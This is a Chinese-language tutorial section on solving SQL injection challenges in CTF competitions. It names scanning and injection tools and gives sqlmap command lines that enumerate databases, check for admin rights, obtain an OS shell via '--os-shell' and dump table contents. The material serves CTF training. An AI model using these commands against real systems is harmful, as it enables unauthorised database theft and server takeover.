6.7 CTF中的普通SQL注入题分析
6.7.1 SQL注入解题思路
在SQL注入的题目,基本都会有参数传入,一般主要思路如下:
(1) 认证阅读题目,一般会给出一点提示
(2) 对目标地址进行漏洞扫描,可以通过AWVS等工具进行漏洞扫描,如果有注入一般都能扫描出来,如果长时间扫描不出来,就不要扫描了,浪费时间
(3) 直接目标进行手工测试,确认存在SQL注入漏洞时候,再使用sqlmap进行注入
(4) 使用sqlmap开始注入漏洞测试
6.7.2 SQL注入方法
(1) 使用Havij注入工具进行url注入测试
(2) 使用Pangonlin进行注入测试
(3) 使用WebCruiser进行扫描并进行url注入测试
(4) 使用sqlmap进行注入测试
6.7.3 CTF实战PHP SQL注入
这里思路操作套路跟之前差不多一样的,具体如下:
1. 题目分析
手工判断是否存在sql注入
2. 使用sqlmap进行SQL注入测试
(1) 使用sqlmap进行测试是否存在SQL注入
sqlmap.py -u url
(2) 排除系统数据库,获取所有数据
sqlmap.py -u url -a --exclude-sysdbs
3. 获取flag
这题目的flag就在数据库里面
4. 总结
上面是至是提供思路哈,作者的实战环境,我这确实没有,并且整体操作思路很简单。
(1) 直接获取当前数据库权限和数据库用户信息
sqlmap.py -u url --dbs --is-dba --current-user
(2) root账号可以直接获取webshell
sqlmap.py -u url --os-shell
(3) 获取数据库表
sqlmap.py -u url -D bmfx --tables
(4) 查看表列名
sqlmap.py -u url -D bmfx -T info --columns
(5) 导出数据内容
sqlmap.py -u url -D bmfx -T info --dump
6.7.4 CTF实战ASP SQL注入
1. 漏洞点测试
2. 获取数据库名称
sqlmap.py -u url --current-db
3. 获取表名
sqlmap.py -u url --current-db -D tbmfx --tables
4. 获取数据内容
sqlmap.py -u url --current-db -D tbmfx -T dtfx --columns
或者使用
sqlmap.py -u url --current-db -D tbmfx -T dtfx --dump